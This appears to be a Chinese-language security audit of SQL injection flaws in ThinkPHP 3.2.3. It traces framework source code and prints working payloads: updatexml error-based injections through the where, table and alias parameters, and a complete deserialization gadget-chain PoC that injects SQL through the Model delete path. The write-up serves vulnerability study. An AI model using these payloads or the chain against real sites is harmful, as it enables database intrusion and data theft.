ThinkPHP3.2.3代码审计
ThinkPHP中的一些函数
在ThinkPHP/Common/functions.php
中编写了Think 系统函数库,里面有一些函数可以方便用户使用
function I($name,$default='',$filter=null,$datas=null)
用于获取输入参数,支持过滤和默认值
function M($name='', $tablePrefix='',$connection='')
用于实例化一个没有模型文件的Model
where中直接拼接条件导致的SQL注入
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$id = I($name="get.id",$default=1);
$data = M("users")->where("id=$id")->find();
dump($data);
}
}
由于上面直接拼接了条件,所以会有SQL注入
exp注入
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$data = $_GET['u'];
$data = M('users')->where(array("username"=>$data))->find();
dump($data);
}
}
注意到这里的u没有用前文提到的I
函数来读取
一个简单的poc:
我们来跟进一下输入
M
函数相当于实例化了一个users模型
接下来看where
函数
这里parse是空的,而且显然where不是一个对象
这里get_object_vars($object)
返回由对象属性组成的关联数组
最后直接赋值到$this
并返回
继续跟进find函数,看到生成sql语句的地方
继续跟进
一直跟进到parseWhereItem
中,有
可以看到这里的where表达式直接拼接了!接下来怎么注都可以
最后返回了一句sql注入后的命令
而如果是通过I
函数读入的话,跟进一下可以看到
exp
字符被过滤了,所以不能注入
find/select/delete/update注入
find
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$id = I('id');
$res = M("users")->find($id);
// $res = M("users")->select($id);
// $res = M("users")->delete($id);
dump($res);
}
}
exp:
id[where]=1+and+updatexml(1,concat(0x7e,database(),0x7e),1)--+
id[table]=users+where+1+and+updatexml(1,concat(0x7e,database(),0x7e),1)--+
id[alias]=where+1+and+updatexml(1,concat(0x7e,database(),0x7e),1)--+
第一种情况
跟进find函数,有一处表达式分析
继续跟进_parseOptions
,一直到表达式过滤的地方
结果是直接返回$options
继续跟进select
后面就和exp引起的注入是一样的了
第二种情况
直接看parseTable
里面
最后相当于按照逗号分开又拼了回去
第三种情况
可以发现alias里的值会直接接在table的后面
一些其他的尝试
后来还想试一下union注入,但是...
再回到之前的parseSql
,看以看出LIMIT
放在了比较前面的位置,可能是由于Mysql版本的原因,这里无法实现注入
不过前面的Order也是可以利用的
select
和find情况类似
delete
也是类似,不过where参数必须有值
update
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$user['name'] = I("name");
$data['pass'] = I("pass");
$res = M("user")->where($user)->save($data);
dump($res);
}
}
只用bind表达式的时候,id后面会有个冒号,好像就不能注入了
反序列化SQL注入
先从__destruct()
函数入手
在Imagick.class.php
中有个可以利用的地方
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
接下来找destroy()
函数
在Memcache.php
中有一个
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
在php7版本中,没有传参数会报错,但是在php5版本中不会
然后找一个可以利用的delete()
函数,选择Think\Model.class.php
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
if(is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if(strpos($options,',')) {
$where[$pk] = array('IN', $options);
}else{
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 根据复合主键删除记录
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 分析表达式
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}
考虑一开始的option
为空,控制$this->data
里的参数,在下一层迭代里操作
注意我们要手动为$this->db
实例化一个mysql
类,然后继续跟进到$this->db->delete
里面
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
发现我们只要控制了table
就能任意SQL注入了
POC:
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "Thinkphp", //数据库名
"hostname" => "127.0.0.1", //地址
"hostport" => "3306", //端口
"charset" => "utf8",
"username" => "root", //用户名
"password" => "root" //密码
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver {
use Think\Model;
class Memcache
{
protected $handle;
protected $sessionName = '';
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk = 'id';
protected $options = array();
protected $data = array();
protected $db = null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "information_schema.tables where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
$a = serialize(new Think\Image\Driver\Imagick());
echo $a;
echo "\n";
echo base64_encode($a);
}
参考资料
ThinkPHP3.2不规范接收参数导致的SQL注入分析之exp